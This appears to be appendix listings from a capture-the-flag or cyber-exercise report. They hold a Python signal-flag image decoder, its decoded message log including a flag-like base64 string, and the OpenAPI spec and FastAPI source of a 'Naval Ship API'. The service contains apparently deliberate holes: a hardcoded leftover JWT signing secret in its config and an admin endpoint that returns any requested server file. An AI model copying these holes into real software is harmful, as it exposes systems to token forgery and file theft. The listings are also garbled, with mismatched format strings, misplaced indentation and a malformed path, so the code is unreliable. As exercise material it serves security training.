160         a, xc, yc = self.flags[c]
161         px, py = pos
162         w, h, _ = a.shape
163         asub = aimage[px-xc:px-xc+w, py-yc:py-yc+h, :]
164         cumdiff = np.sum(np.absolute(asub))
165         self.logger.debug('comparing char %s to pos (%d, %d) => %f',
166                           c, pos[0], pos[1], cumdiff)
167         return cumdiff
168
169     def find_flags(self, name):
170         self.logger.info('finding flags on image %s', name)
171         a, afft = self.read_image(name)
172         self.clear_cache()
173         found = []
174         for c, rec in self.flags.items():
175             self.logger.info('trying char %s', c)
176             flagfft = self.flag_fft(c)
177             conv = self.correl(afft, flagfft)
178             del flagfft
179             maxcor = np.max(conv)
180             thr = FCS.CONVTHR*maxcor
181             while True:
182                 posx, posy = np.nonzero(conv > thr)
183                 npos = posx.shape[0]
184                 if npos <= FCS.MAXCAND:
185                     break
186                 thr *= 1.005

```

```

187         self.logger.info('max. corr: %f, thr: %f, candidates: %d',
188                         maxcor, thr, npos)
189     for pos in zip(posx.tolist(), posy.tolist()):
190         cumdiff = self.compare_flag(a, c, pos)
191         if cumdiff < FCS.MAXCUMDIF:
192             found.append((c, pos))
193     sfound = sorted(found, key=lambda rec: rec[1][1])
194     return ''.join([rec[0] for rec in sfound])
195
196     def correl(self, imagefft, flagfft):
197         """Calculate correlation between image and flag"""
198         convfft = np.multiply(imagefft, flagfft)
199         conv3 = np.fft.irfft2(convfft, axes=(0, 1))
200         conv = np.sum(np.square(conv3), axis=2)
201         return conv
202
203     def process(self):
204         for shipid in self.shipids:
205             todo = sorted([rec for rec in self.images
206                           if rec['shipid'] == shipid],
207                           key=lambda rec: rec['timestamp'])
208             lastts = None
209             print(' *** ship: %s ***' % (
210                 shipid, FCS.NATFLAGS[int(shipid)]))
211             for rec in todo:
212                 nflags = int(rec['nflags'])
213                 ts = datetime.strptime(rec['timestamp'], '%Y-%d-%m %H:%M:%S')
214                 if lastts is not None and (ts - lastts).total_seconds() >= 120:
215                     print('----')
216                     lastts = ts
217                 msg = self.find_flags(rec['fn'])
218                 if nflags != len(msg):
219                     self.logger.error(
220                         '#flag mismatch for %s: %d exp, %d found',
221                         rec['fn'], nflags, len(msg))
222                 if msg.startswith('0X'):
223                     try:
224                         unhmsg = binascii.unhexlify(msg[2:])
225                         msg = 'hex: "%s" %s' % (unhmsg.decode('ascii'))
226                     except (binascii.Error, UnicodeDecodeError):
227                         self.logger.error('cannot unhexlify %s', rec['fn'])
228                     print('%s %2d %-14s %s %s' %
229                         (rec['timestamp'], nflags, rec['type'], rec['fn'], msg))
230                     print('=====')
231
232             if __name__ == '__main__':
233                 logging.basicConfig(level=logging.DEBUG,
234                                     format='%(asctime)s | %(levelname)s | %(message)s',
235                                     filename='fcs.log')

```


47	-----		
48	2023-10-02 11:41:00 12 long_message	dzkkbyftmolajmgqyeiryiyivrqoegekc	hex: "CNS J"
49	2023-10-02 11:42:03 12 long_message	cwxrnolhaezundjspjsvrjaqnjhpngyp	hex: "osef "
50	2023-10-02 11:43:05 6 long_message	dwinjgndjrrwckmjwjagbufpnevkvjo	VERICH
51	2023-10-02 11:44:07 12 long_message	buquypzjibuuqbmcjwzuqcanxmhdokk	hex: ", you"
52	2023-10-02 11:45:09 12 long_message	ygwllzvymeamixrqpvikvxiiaafctwfc	hex: " can "
53	2023-10-02 11:46:12 7 long_message	qcxcgrxhvgnfandawbuonpytkbrhjvf	IMPROVE
54	2023-10-02 11:47:14 12 long_message	ktwtfrlfjsnoqukcysexvzghkxvrvlnh	hex: " them"
55	2023-10-02 11:48:17 10 long_message	eymcrjssbgwivpxnbnwiyriupuxidunq	hex: " by "
56	2023-10-02 11:49:18 12 long_message	aqhzrefkuxdymavxvpkmzgufvtaqzifz	hex: "RkxBR"
57	2023-10-02 11:50:21 12 long_message	wkqiuyfjejlldvrdpoyjairgchslbrv	hex: "3tsVH"
58	2023-10-02 11:51:23 12 long_message	kzipwkjhjfttxumuwpdfkcfkobkydnen	hex: "JHLTN"
59	2023-10-02 11:52:25 12 long_message	eufsdcqatkmosqhpextgzazfhlwzcmtnyl	hex: "vWG4t"
60	2023-10-02 11:53:28 12 long_message	zzoubizlyyipumvijaqyoudbsnngrmks	hex: "YW9aT"
61	2023-10-02 11:54:32 12 long_message	cimekmmmnntzeisntnmtekvvifpb1pn	hex: "i1aNH"
62	2023-10-02 11:55:35 12 long_message	srjbvbrmsvfsalrkzndhyijgrhpcztzfz	hex: "FNfQ="
63	2023-10-02 11:56:39 8 long_message	clibjjykccqqsxncqusveikakzoitnea	hex: " = !"
64	=====		
65	*** ship: 627912 GB ***		
66	2023-10-02 11:30:18 2 short_message	gwpmyzutwwuaneucbb1ckpgqsnvyebx	PE
67	-----		
68	2023-10-02 12:33:00 18 long_message	szrqzrcuyocbpmbxsyrocytlubcqftw	hex: "Relay: H"
69	2023-10-02 12:34:00 18 long_message	efohpauggoenqzhysleojdkwztyktsev	hex: "ave you "
70	2023-10-02 12:35:00 18 long_message	qbdplxbtjdgbboyrgkocxsrlgeiyckdp	hex: "seen Mr."
71	2023-10-02 12:36:00 18 long_message	sgavctduqwsplbpvztkbjuxyxnbrffyk	hex: " Caletka"
72	2023-10-02 12:37:00 4 ship_name	lcsupmmrqnorcqekopcpapxlslottg	hex: "?"
73	=====		
74	*** ship: 567874 SK ***		
75	2023-10-02 11:30:18 1 short_message	owyphcthfjiogtsskewqpqbqsufyekfs	E
76	-----		
77	2023-10-02 11:40:00 1 short_message	tldakfqalagsnlldvfkfzengznwocllhk	K
78	-----		
79	2023-10-02 11:43:02 14 long_message	rctgricoofibtwqyexzurafcoybmqzbz	hex: "Hey, w"
80	2023-10-02 11:44:14 14 long_message	omubfbfsdfsrbgfupwawlpytxftjrd	hex: "hat is"
81	2023-10-02 11:45:15 14 long_message	bgongwndgpxslbchkesjtuflpurvgcis	hex: " your "
82	2023-10-02 11:46:18 14 long_message	rgkkrjlqkcbakebcttotmjaxhrbzyno	hex: "wifi P"
83	2023-10-02 11:47:21 7 long_message	ukcnmqdmqfjnutaafajpbagiabldavaj	ASSWORD
84	2023-10-02 11:48:19 4 ship_name	gjdbcyxeqzufatqmbqxtdexbhtgwdqcx	hex: "?"
85	-----		
86	2023-10-02 12:41:24 14 long_message	ytythebnnyufbdsnibjwtrwkvdledg	hex: "Relay:"
87	2023-10-02 12:42:18 14 long_message	hltqwrxlrqfpmdvwrefabnnctdrcojzw	hex: " Have "
88	2023-10-02 12:43:12 14 long_message	cwauteabhaqfuuneecnnjapvfhdtvsiae	hex: "you se"
89	2023-10-02 12:44:09 14 long_message	ciuemipqmmckmprwmmabuznirrqnriy	hex: "en Mr."
90	2023-10-02 12:45:05 14 long_message	xkarfwleyjvhkivzibqpbouyhvtunwol	hex: " Calet"
91	2023-10-02 12:46:01 8 long_message	ffbbyfhydersnxishwajuolbhceqtohw	hex: "ka?"
92	=====		
93	*** ship: 487078 BR ***		
94	2023-10-02 11:30:18 1 short_message	anqmnnkdilsdfqlqbbrtjrrbqtalnrgl	V
95	-----		
96	2023-10-02 11:32:47 16 long_message	qgqzzsupoikjhhhsrhqnunsaixirwlsh	hex: "Our cof"

97	2023-10-02 11:33:52	16 long_message	kkglwxloneopikuenkdsikitjhjnxyws	hex: "fee mac"
98	2023-10-02 11:34:58	16 long_message	jhwlxnkmestyepexockmlcurcsoneyoi	hex: "hine is"
99	2023-10-02 11:36:03	16 long_message	dfbcwuvrspgymxfanfixdsefullrmebg	hex: " broken"
100	2023-10-02 11:37:11	16 long_message	naxonqjkhfmkcvodmbzmlmzpuzzvavy	hex: ", we ne"
101	2023-10-02 11:38:18	16 long_message	kiddxaeumfxrijmscnwucgbeatoatdieb	hex: "ed a me"
102	2023-10-02 11:39:22	16 long_message	xskdiibwnkotcykqydqswbfdiaryxee	hex: "chanic."
103	-----			
104	2023-10-02 11:45:00	2 short_message	xqmdpcjxntzevezjazqfbchnytzuekclz	VF
105	=====			
106	*** ship: 782535 ES ***			
107	2023-10-02 11:30:18	2 short_message	zvdaadtixobvgkvpxolkjlqolsjxoxxp	BV
108	-----			
109	2023-10-02 11:37:27	34 long_message	lmvaisoycxceyqholqthljfdhjgwqiar	hex: "CNS Josef Verich"
110	2023-10-02 11:38:32	34 long_message	urqlxpwiqjqrbtexkphvciksijgsbp	hex: ", can your netwo"
111	2023-10-02 11:39:40	34 long_message	faymrpjbjajotiyqxwuiuakimuvzhgpun	hex: "rk guy set up a "
112	2023-10-02 11:40:44	30 long_message	qbtyjmwocujudnhjkmsdqctuuucngarts	hex: "router for us?"
113	-----			
114	2023-10-02 11:50:31	2 short_message	omlrfmokmamoszvfopkgeemjvprtfhcw	BV
115	=====			
116	*** ship: 367676 FR ***			
117	2023-10-02 11:30:18	1 short_message	nueujtmhxwbqwjjrradxhcyrrroefdszd	X
118	-----			
119	2023-10-02 11:35:43	24 long_message	ajshslvsnbevdnoncbpylqgspvplqur	hex: "Party on th"
120	2023-10-02 11:36:42	24 long_message	vgptsygrpaiosvgesiwjwcelwumalkdt	hex: "e bridge at"
121	2023-10-02 11:37:50	24 long_message	ikeosnxvfwqyhievhomuhjuwjnosuil	hex: " 2100 ZULU."
122	-----			
123	2023-10-02 11:43:15	24 long_message	askoooyynbtbsktiqcegkwfyfencnkim	hex: "Free pinot "
124	2023-10-02 11:44:17	24 long_message	vlgbgamyiilvsysavsqhsadavcysqtuwr	hex: "gris for ev"
125	2023-10-02 11:45:11	16 long_message	jagbfhvsjomvplzwjjkxnxncxzyjra	hex: "eryone!"
126	=====			

B Listings for U.S.A.

```

1   openapi.json
2   {
3     "openapi": "3.0.2",
4     "info": {
5       "title": "Naval Ship API",
6       "version": "1.0"
7     },
8     "paths": {
9       "/api/v1/user/{user_id)": {
10         "get": {
11           "tags": [
12             "user"
13           ],
14           "summary": "Fetch User",
15           "description": "Fetch a user by ID",
16           "operationId": "fetch_user_api_v1_user__user_id__get",
17         }
18       }
19     }
20   }
21 }
```

```

16     "parameters": [
17         {
18             "required": true,
19             "schema": {
20                 "title": "User Id",
21                 "type": "integer"
22             },
23             "name": "user_id",
24             "in": "path"
25         }
26     ],
27     "responses": {
28         "200": {
29             "description": "Successful Response",
30             "content": {
31                 "application/json": {
32                     "schema": {
33                         "$ref": "#/components/schemas/User"
34                     }
35                 }
36             }
37         },
38         "422": {
39             "description": "Validation Error",
40             "content": {
41                 "application/json": {
42                     "schema": {
43                         "$ref": "#/components/schemas/HTTPValidationError"
44                     }
45                 }
46             }
47         }
48     },
49     "security": [
50         {
51             "OAuth2PasswordBearer": []
52         }
53     ]
54 },
55 ],
56 "/api/v1/user/signup": {
57     "post": {
58         "tags": [
59             "user"
60         ],
61         "summary": "Create User Account",
62         "description": "Create new user",
63         "operationId": "create_user_signup_api_v1_user_signup_post",
64         "requestBody": {
65             "content": {

```

```

66     "application/json": {
67         "schema": {
68             "$ref": "#/components/schemas/UserSignup"
69         }
70     }
71 },
72     "required": true
73 },
74     "responses": {
75         "201": {
76             "description": "Successful Response",
77             "content": {
78                 "application/json": {
79                     "schema": {}
80                 }
81             }
82         },
83         "422": {
84             "description": "Validation Error",
85             "content": {
86                 "application/json": {
87                     "schema": {
88                         "$ref": "#/components/schemas/HTTPValidationError"
89                     }
90                 }
91             }
92         }
93     }
94 },
95     "/api/v1/user/login": {
96         "post": {
97             "tags": [
98                 "user"
99             ],
100            "summary": "User Login",
101            "description": "Logs in the user and returns JWT",
102            "operationId": "login_api_v1_user_login_post",
103            "requestBody": {
104                "content": {
105                    "application/x-www-form-urlencoded": {
106                        "schema": {
107                            "$ref": "#/components/schemas/Body_login_api_v1_user_login_post"
108                        }
109                    }
110                }
111            },
112            "required": true
113        },
114        "responses": {
115            "200": {

```

```

116     "description": "Successful Response",
117     "content": {
118         "application/json": {
119             "schema": {
120                 "$ref": "#/components/schemas/Token"
121             }
122         }
123     }
124 },
125 "422": {
126     "description": "Validation Error",
127     "content": {
128         "application/json": {
129             "schema": {
130                 "$ref": "#/components/schemas/HTTPValidationError"
131             }
132         }
133     }
134 }
135 }
136 }
137 },
138 "/api/v1/user/updatepassword": {
139     "post": {
140         "tags": [
141             "user"
142         ],
143         "summary": "Update User Password",
144         "description": "Update a user password",
145         "operationId": "update_password_api_v1_user_updatepassword_post",
146         "requestBody": {
147             "content": {
148                 "application/json": {
149                     "schema": {
150                         "$ref": "#/components/schemas/UserPWDchange"
151                     }
152                 }
153             },
154             "required": true
155         },
156         "responses": {
157             "201": {
158                 "description": "Successful Response",
159                 "content": {
160                     "application/json": {
161                         "schema": {
162                             "$ref": "#/components/schemas/User"
163                         }
164                     }
165                 }
166             }
167         }
168     }
169 }
```

```

166 },
167 "422": {
168     "description": "Validation Error",
169     "content": {
170         "application/json": {
171             "schema": {
172                 "$ref": "#/components/schemas/HTTPValidationError"
173             }
174         }
175     }
176 },
177 "security": [
178     {
179         "OAuth2PasswordBearer": []
180     }
181 ],
182 }
183 },
184 },
185 "/api/v1/admin/": {
186     "get": {
187         "tags": [
188             "admin"
189         ],
190         "summary": "Admin Check",
191         "description": "Returns true if the user is in admin role",
192         "operationId": "admin_check_api_v1_admin__get",
193         "responses": {
194             "200": {
195                 "description": "Successful Response",
196                 "content": {
197                     "application/json": {
198                         "schema": {}
199                     }
200                 }
201             }
202         },
203         "security": [
204             {
205                 "OAuth2PasswordBearer": []
206             }
207         ]
208     }
209 },
210     "/api/v1/admin/file": {
211         "post": {
212             "tags": [
213                 "admin"
214             ],
215             "summary": "Get File",

```

```

216     "description": "Returns a file on the server",
217     "operationId": "get_file_api_v1_admin_file_post",
218     "requestBody": {
219       "content": {
220         "application/json": {
221           "schema": {
222             "$ref": "#/components/schemas/GetFile"
223           }
224         }
225       },
226       "required": true
227     },
228     "responses": {
229       "200": {
230         "description": "Successful Response",
231         "content": {
232           "application/json": {
233             "schema": {}
234           }
235         }
236       },
237       "422": {
238         "description": "Validation Error",
239         "content": {
240           "application/json": {
241             "schema": {
242               "$ref": "#/components/schemas/HTTPValidationError"
243             }
244           }
245         }
246       }
247     },
248     "security": [
249       {
250         "OAuth2PasswordBearer": []
251       }
252     ]
253   },
254   "/api/v1/admin/getFlag": {
255     "put": {
256       "tags": [
257         "admin"
258       ],
259       "summary": "Get Flag",
260       "description": "The Flag",
261       "operationId": "get_flag_api_v1_admin_getFlag_put",
262       "responses": {
263         "200": {
264           "description": "Successful Response",

```

```
266         "content": {
267             "application/json": {
268                 "schema": {}
269             }
270         }
271     },
272     "security": [
273         {
274             "OAuth2PasswordBearer": []
275         }
276     ]
277 ]
278 }
279 }
280 },
281 "components": {
282     "schemas": {
283         "Body_login_api_v1_user_login_post": {
284             "title": "Body_login_api_v1_user_login_post",
285             "required": [
286                 "username",
287                 "password"
288             ],
289             "type": "object",
290             "properties": {
291                 "grant_type": {
292                     "title": "Grant Type",
293                     "pattern": "password",
294                     "type": "string"
295                 },
296                 "username": {
297                     "title": "Username",
298                     "type": "string"
299                 },
300                 "password": {
301                     "title": "Password",
302                     "type": "string"
303                 },
304                 "scope": {
305                     "title": "Scope",
306                     "type": "string",
307                     "default": ""
308                 },
309                 "client_id": {
310                     "title": "Client Id",
311                     "type": "string"
312                 },
313                 "client_secret": {
314                     "title": "Client Secret",
315                     "type": "string"
316                 }
317             }
318         }
319     }
320 }
```

```

316         }
317     }
318 },
319 "GetFile": {
320     "title": "GetFile",
321     "required": [
322         "file"
323     ],
324     "type": "object",
325     "properties": {
326         "file": {
327             "title": "File",
328             "type": "string"
329         }
330     }
331 },
332 "HTTPValidationError": {
333     "title": "HTTPValidationError",
334     "type": "object",
335     "properties": {
336         "detail": {
337             "title": "Detail",
338             "type": "array",
339             "items": {
340                 "$ref": "#/components/schemas/ValidationError"
341             }
342         }
343     }
344 },
345 "Token": {
346     "title": "Token",
347     "required": [
348         "access_token",
349         "token_type"
350     ],
351     "type": "object",
352     "properties": {
353         "access_token": {
354             "title": "Access Token",
355             "type": "string"
356         },
357         "token_type": {
358             "title": "Token Type",
359             "type": "string"
360         }
361     }
362 },
363 "User": {
364     "title": "User",
365     "type": "object",

```

```

366     "properties": {
367         "guid": {
368             "title": "Guid",
369             "type": "string"
370         },
371         "email": {
372             "title": "Email",
373             "type": "string",
374             "format": "email"
375         },
376         "date": {
377             "title": "Date",
378             "type": "integer"
379         },
380         "time_created": {
381             "title": "Time Created",
382             "type": "integer"
383         },
384         "admin": {
385             "title": "Admin",
386             "type": "boolean",
387             "default": false
388         },
389         "id": {
390             "title": "Id",
391             "type": "integer"
392         }
393     },
394     "description": "Utilized for authentication."
395 },
396     "UserPWDchange": {
397         "title": "UserPWDchange",
398         "required": [
399             "guid",
400             "password"
401         ],
402         "type": "object",
403         "properties": {
404             "guid": {
405                 "title": "Guid",
406                 "type": "string"
407             },
408             "password": {
409                 "title": "Password",
410                 "type": "string"
411             }
412         }
413     },
414     "UserSignup": {
415         "title": "UserSignup",

```

```

416     "required": [
417         "email",
418         "password"
419     ],
420     "type": "object",
421     "properties": {
422         "email": {
423             "title": "Email",
424             "type": "string",
425             "format": "email"
426         },
427         "password": {
428             "title": "Password",
429             "type": "string"
430         }
431     }
432 },
433 "ValidationError": {
434     "title": "ValidationError",
435     "required": [
436         "loc",
437         "msg",
438         "type"
439     ],
440     "type": "object",
441     "properties": {
442         "loc": {
443             "title": "Location",
444             "type": "array",
445             "items": {
446                 "type": "string"
447             }
448         },
449         "msg": {
450             "title": "Message",
451             "type": "string"
452         },
453         "type": {
454             "title": "Error Type",
455             "type": "string"
456         }
457     }
458 },
459 "securitySchemes": {
460     "OAuth2PasswordBearer": {
461         "type": "oauth2",
462         "flows": {
463             "password": {
464                 "scopes": {}
465             }
466         }
467     }
468 }

```

```
466         "tokenUrl": "/api/v1/user/login"
467     }
468   }
469 }
470 }
471 }
```

```
1             /app/shipapi/main.py
2
3 import asyncio
4
5 from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
6 from fastapi_contrib.common.responses import UJSONResponse
7 from fastapi import FastAPI, Depends, HTTPException, status
8 from fastapi.security import HTTPBasic, HTTPBasicCredentials
9 from fastapi.openapi.docs import get_swagger_ui_html
10 from fastapi.openapi.utils import get_openapi
11
12 from typing import Optional, Any
13 from pathlib import Path
14 from sqlalchemy.orm import Session
15
16 from shipapi.schemas.user import User
17 from shipapi.api.v1.api import api_router
18 from shipapi.appconfig.config import settings
19
20 from shipapi import deps
21 from shipapi import crud
22
23 app = FastAPI(title="Naval ship API", openapi_url=None, docs_url=None, redoc_url=None)
24 root_router = APIRouter(default_response_class=UJSONResponse)
25
26
27 @app.get("/", summary=" ", status_code=200, include_in_schema=False)
28 def root():
29     """
30     Root
31     """
32     return {"msg": "Naval ship API version 1.0"}
33
34 @app.get("/api", summary="List versions", status_code=200, include_in_schema=False)
35 def list_versions():
36     """
37     API versions
38     """
39     return {"endpoints": ["v1"]}
40
41 @app.get("/api/v1", summary="List v1 endpoints", status_code=200, include_in_schema=False)
```

```

42     def list_endpoints_v1():
43         """
44             API v1 Endpoints
45         """
46         return {"endpoints": ["user", "admin"]}
47
48
49     @app.get("/docs", summary="Documentation", include_in_schema=False)
50     async def get_documentation(
51         current_user: User = Depends(deps.parse_token)
52     ):
53         return get_swagger_ui_html(openapi_url="/openapi.json", title="Naval ship API docs")
54
55
56     @app.get("/openapi.json", include_in_schema=False)
57     async def openapi(
58         current_user: User = Depends(deps.parse_token)
59     ):
60         return get_openapi(title="Naval Ship API", version="1.0", routes=app.routes)
61
62
63     app.include_router(api_router, prefix=settings.API_V1_STR)
64     app.include_router(root_router)
65
66
67     def start():
68         import uvicorn
69
70         uvicorn.run(app, host="0.0.0.0", port=80, log_level="debug")
71
72
73     if __name__ == "__main__":
74         import uvicorn
75
76         uvicorn.run(app, host="0.0.0.0", port=80, log_level="debug")

```

```

_____/app/shipapi/appconfig/config.py_____
1  from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
2  from typing import List, Optional, Union
3
4  from enum import Enum
5
6
7  class Settings(BaseSettings):
8      API_V1_STR: str = "/api/v1"
9
10     JWT_RSA_KEY = open('shipapi/appconfig/jwtsigning.key').read()
11     JWT_RSA_PUB = open('shipapi/appconfig/jwtsigning.pub').read()
12     ALGORITHM: str = "RS384"
13     # We don't use symmetric cipher algo anymore

```

```
14     JWT_SECRET: str = "TW!BMP9yVRiDEziTsekVoHZJFcXQgZf8"
15
16
17
18     ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8
19     CORS_ORIGINS: List[AnyHttpUrl] = []
20
21     @validator("CORS_ORIGINS", pre=True)
22     def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
23         if isinstance(v, str) and not v.startswith("["):
24             return [i.strip() for i in v.split(",")]
25         elif isinstance(v, (list, str)):
26             return v
27         raise ValueError(v)
28
29     SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///navalship.db"
30
31     class Config:
32         case_sensitive = True
33
34
35 settings = Settings()
```